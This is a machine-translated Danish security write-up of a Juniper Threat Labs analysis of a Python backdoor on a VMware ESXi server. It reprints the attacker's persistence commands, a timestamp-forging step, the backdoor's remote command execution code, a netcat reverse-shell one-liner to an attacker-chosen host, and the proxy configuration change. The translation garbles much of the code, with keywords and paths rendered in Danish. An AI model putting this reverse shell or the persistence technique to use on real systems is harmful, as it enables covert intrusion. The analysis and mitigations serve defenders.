Nye Python malware bagdøre giver fjernadgang til VMware ESXi-servere

billede-1-77

I oktober 2022 opdagede Juniper Threat Labs en bagdør implanteret på en VMware ESXi-virtualiseringsserver. Siden 2019 har upatchede ESXi-servere været mål for igangværende in-the-wild-angreb baseret på to sårbarheder i ESXi’s OpenSLP-tjeneste: CVE-2019-5544  og CVE-2020-3992.

På grund af begrænset logopbevaring på den kompromitterede vært, vi undersøgte, kan vi desværre ikke være sikre på, hvilken sårbarhed der tillod hackere adgang til serveren. Ikke desto mindre er den implanterede bagdør kendt for sin enkelhed, vedholdenhed og evner, og så vidt vi ved, er den ikke blevet offentligt dokumenteret indtil nu.

Fodfæste og vedholdenhed

ESXi er en virtualiseringsplatform med et let UNIX-lignende værtsoperativsystem og evnen til at køre mange virtuelle maskiner samtidigt. Mens de virtuelle diskbilleder til disse VM’er gemmes på ESXi’s fysiske diske, gemmes systemfilerne til værtsoperativsystemet i RAM, og ændringer kasseres ved en genstart. Kun få specifikke systemfiler sikkerhedskopieres automatisk og gendannes ved en genstart. Blandt disse er /etc/rc.local.d/local.sh, som udføres ved opstart. Som standard er denne fil tom bortset fra kommentarer, der forklarer og fraråder dens brug. I tilfælde af den kompromitterede maskine, vi analyserede, havde angriberen tilføjet følgende kode:

/bin/mv /bin/hostd-probe.sh /bin/hostd-probe.sh.1
/bin/cat << LOCAL2 >> /bin/hostd-probe.sh
/bin/nohup /bin/python -u /store/pakker/vmtools.py >/dev/null 2>&1&
LOKAL2
/bin/cat /bin/hostd-probe.sh.1 >> /bin/hostd-probe.sh
/bin/chmod 755 /bin/hostd-probe.sh
/bin/rm /bin/hostd-sonde.sh.1
/bin/touch -r /usr/lib/vmware/busybox/bin/busybox /bin/hostd-probe.sh

De første 7 linjer indleder på en indviklet måde en enkelt kodelinje til /bin/hostd-probe.sh, en systemfil, der udføres automatisk, når systemet starter. Denne kodelinje starter et Python-script:

/bin/nohup /bin/python -u /store/pakker/vmtools.py >/dev/null 2>&1&

Berøringskommandoen i den sidste kodelinje nulstiller ændrings- og adgangstidsstemplerne for /bin/hostd-probe.sh til dem i en forud installeret systemfil, hvilket får det til at se ud som om /bin/hostd-probe.sh ikke var blevet ændret, siden systemsoftwaren blev installeret eller sidst opdateret.

Der er i alt 4 filer installeret eller ændret i dette angreb:

  • /etc/rc.local.d/local.sh: gemt i RAM, men ændringer sikkerhedskopieres og gendannes ved genstart
  • /bin/hostd-probe.sh: ændringer gemmes i RAM og anvendes igen efter en genstart
  • /store/packages/vmtools.py: gemt i de vedvarende diskbutikker, der bruges til VM-diskbilleder, logfiler osv.
  • /etc/vmware/rhttpproxy/endpoints.conf: ændringer gemmes i RAM og anvendes igen efter en genstart

Python bagdør

Mens Python-scriptet, der bruges i dette angreb, er på tværs af platforme og kan bruges med ringe eller ingen ændring på Linux eller andre UNIX-lignende systemer, er der flere indikationer på, at dette angreb var designet specielt til at målrette ESXi. Navnet på filen og dens placering, /store/packages/vmtools.py, blev valgt for at rejse lidt mistanke om en virtualiseringsvært. Filen begynder med en VMware copyright i overensstemmelse med offentligt tilgængelige eksempler og er taget tegn-for-tegn fra en eksisterende Python-fil leveret af VMware.

#!/bin/python
"""
Ophavsret 2011 - 2014 VMware, Inc.  Alle rettigheder forbeholdes.
 
Dette modul starter fejlfindingsværktøjer
"""
 
fra http.server import BaseHTTPRequestHandler, HTTPServer

Python-scriptet starter en simpel webserver, der accepterer adgangskodebeskyttede POST-anmodninger og kan bruges på to måder: den kan køre vilkårlige fjernkommandoer og vise resultaterne som en webside, eller den kan starte en omvendt skal til værten og porten efter angriberens valg. Denne server binder til port 8008 på den lokale IP-adresse 127.0.0.1 og accepterer 5 vildledende navngivne parametre:

  • server_namespace: adgangskode, der beskytter bagdøren mod utilsigtet brug
  • server_instance: enten “lokal” (kør kommandoer direkte) eller “fjernbetjening” (omvendt skal)
  • operation_id: kommando til at udføre (“kun lokal”)
  • Konvolut og path_set: henholdsvis vært og port til den omvendte skal (kun “fjernbetjening”)

Serveren kontrollerer først MD5-hashen for den angivne adgangskode mod en hårdkodet værdi. Hvis dette lykkes, opdeles udførelsesstien baseret på værdien af server_instance. Hvis den angivne værdi er “lokal”, udfører serveren værdien af operation_id som en base64-kodet kommando og skriver output til browseren:

 hvis handling er Ingen eller handling == 'lokal':
 encoded_cmd = form.getvalue('operation_id')
 hvis encoded_cmd ikke er Ingen:
 forsøge:
 cmd = str(base64.b64decode(encoded_cmd), "utf-8")
 undtagen binascii. Fejl:
 returbillet
self.wfile.write(os.popen(cmd).read().encode())

Hvis værdien af server_instance er “fjern”, starter webserveren en omvendt skal til værten og porten, der er angivet i henholdsvis konvolut og path_set.

 hvis handling == 'fjernbetjening':
 host = form.getvalue ('konvolut')
 hvis værten ikke er Ingen:
 port = form.getvalue ('path_set')
 hvis porten er Ingen:
 port = '427'
 
 cmd = 'mkfifo /tmp/tmpy_8th_nb; kat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc %s %s > /tmp/tmpy_8th_nb' % (vært, port)
Underproces. Popen (cmd, skal = True)

En omvendt skal er en terminalsession på den kompromitterede maskine, men er “omvendt”, idet netværksforbindelsen stammer fra den kompromitterede maskine.

Skildring af en omvendt skal.

Dette står i kontrast til en almindelig fjernterminalsession som ssh, hvor en ekstern bruger starter forbindelsen til en målmaskine for at køre shell-kommandoer. Brug af en omvendt skal kan omgå firewallbegrænsninger og fungerer, selv når den kompromitterede maskine ikke er direkte tilgængelig fra internettet.

Den omvendte shell-kommando er taget fra et omvendt shell one-liners snydeark:

MKFIFO /TMP/tmpy_8th_nb; kat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc <host> <port > /tmp/tmpy_8th_nb

Sekvensen af piped kommandoer er noget mere kompliceret end de mest almindelige reverse shell-påkaldelser og er nødvendig for at omgå begrænsninger i netcat-versionen, der er tilgængelig på ESXi. Bemærk, at hvis der ikke er angivet noget portnummer i POST-anmodningen, er den anvendte standardport 427. Dette er standardtjenesteporten til OpenSLP, den sårbare tjeneste, der sandsynligvis udnyttes til at få adgang til ESXi-serveren, og er en anden indikation af, at dette angreb blev udformet med ESXi-mål i tankerne.

Omvendt proxy

Vi har tidligere bemærket, at den ondsindede Python-webserver binder til en 127.0.0.1, den “hjemme” IP-adresse, der kun er tilgængelig fra den kompromitterede maskine. For at tillade fjernadgang ændrede hackerne konfigurationen af ESXi omvendt HTTP-proxy. Konfigurationsfilen, /etc/vmware/rhttpproxy/endpoints.conf, indeholder en række tilknytninger fra stinavne til netværksporte, såsom:

/sdk lokal 8307 omdirigering tillade

Denne linje instruerer den omvendte proxy om at videresende eventuelle eksterne anmodninger til port 8307 til https://<server_url/sdk/*. Angriberne tilføjede følgende linje til endpoints.conf, hvilket giver ekstern adgang til den ondsindede webserver:

/<random_UUID> lokal 8008 tillader tilladelse

Fordi /etc/vmware/rhttpproxy/endpoints.conf også er blandt de systemfiler, der sikkerhedskopieres og gendannes automatisk, er denne omvendte proxykonfiguration vedvarende.

Opdatering

  • Anvend alle leverandørrettelser så hurtigt som muligt.
  • Begræns indgående netværksforbindelser til betroede værter.
  • Kontroller indholdet og / eller eksistensen af de fire filer, der er beskrevet ovenfor. Som standard bør local.sh kun indeholde kommentarer og en exiterklæring.
  • Kontroller alle ændrede vedvarende systemfiler for uventede ændringer. Dette blogindlæg forklarer, hvordan  disse filer er markeret til sikkerhedskopiering, og hvordan man finder dem.

IOC’er

Se VirusTotal for vmtools.py og local.sh. Den hashede adgangskode i vmtools.py er blevet redigeret, fordi den entydigt kan identificere den kompromitterede server, så filens hash ikke skal bruges som en IOC. Ændringerne af hostd-probe.sh og endpoints.conf vises i deres helhed ovenfor.

Kilde: Juniper Networks
Fotokredit: VMWARE